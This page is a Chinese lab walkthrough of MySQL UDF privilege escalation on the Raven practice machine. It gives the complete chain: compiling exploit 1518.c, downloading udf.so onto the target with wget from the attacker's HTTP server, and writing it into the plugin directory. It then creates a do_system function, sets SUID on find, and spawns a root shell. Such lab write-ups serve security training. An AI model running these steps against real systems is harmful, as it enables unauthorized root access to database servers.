UDF提权(linux)

您所在的位置:网站首页 linux文件导入导出命令 UDF提权(linux)

UDF提权(linux)

2023-06-07 14:35| 来源: 网络整理| 查看: 265

实验环境:

RAVEN靶场:链接:百度网盘 请输入提取码

提取码:g6oz

攻击机:kali 2023.3    IP:192.168.126.142

关于UDF提权,需要满足的条件是 1.数据库管理员权限运行 #如果权限过低,无法执行系统命令,无法提权 2.数据库的版本信息不高于 5.5.6

查看满足条件 1》show global variables like '%secure_file_priv%'; 或 show variables like '%secure%'; #这里需要是空值或者是plugin所在的目录,不能是null值 #secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权 #secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权 #secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权 2》show variables like '%plugin%'; 查看插件的位置,将动态连接文件导入到此目录

实操:

1.查询udf可利用的c程序,将1518.c保存到当前目录

searchsploit -m 1518.c

2.查看使用说明;大概就是将程序进行gcc编译,然后再登录mysql进行创建一个表,插入.so文件,创建自定义函数进行越权操作。

3.进行编译

gcc -g -c 1518.c gcc -g -shared -o udf.so 1518.o -lc -g 生成调试信息 -c 编译(二进制) -shared 创建一个动态链接库,输入文件是源文件,汇编文件或者目标文件 -o 执行命令后的文件名 -lc -l 库 -c 库名

python3 -m http.server

#用python开启http服务

4.将编译好的.so文件进行上传靶机,进行登录数据库

wget http://192.168.126.142:8000/udf.so

mysql -uroot -pR@v3nSecurity

show databases;

use mysql

5.查看udf提权的必要条件,看插件位置

show global variables like '%secure_file_priv%';

show variables like '%plugin%';

6.开始提权操作:

create table foo(line blob);

#创建一张临时表用来存放DLL/OS文件的16进制内容

insert into foo values(load_file('/tmp/udf.so'));

#插入udf.so文件(foo是占位符,没有任何意义)

select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';

#利用dumpfile函数把文件导出

create function do_system returns integer soname 'udf.so';

#创建自定义函数do_system,类型是integer,别名(soname)文件名字

select * from mysql.func;

#查询函数是否创建成功

select do_system('chmod u+s /usr/bin/find');

#调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令, 0代表执行成功 。

exit

7.执行命令,成功提权。

touch udf

find udf -exec "/bin/sh" \;

find udf -exec "id" \;



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3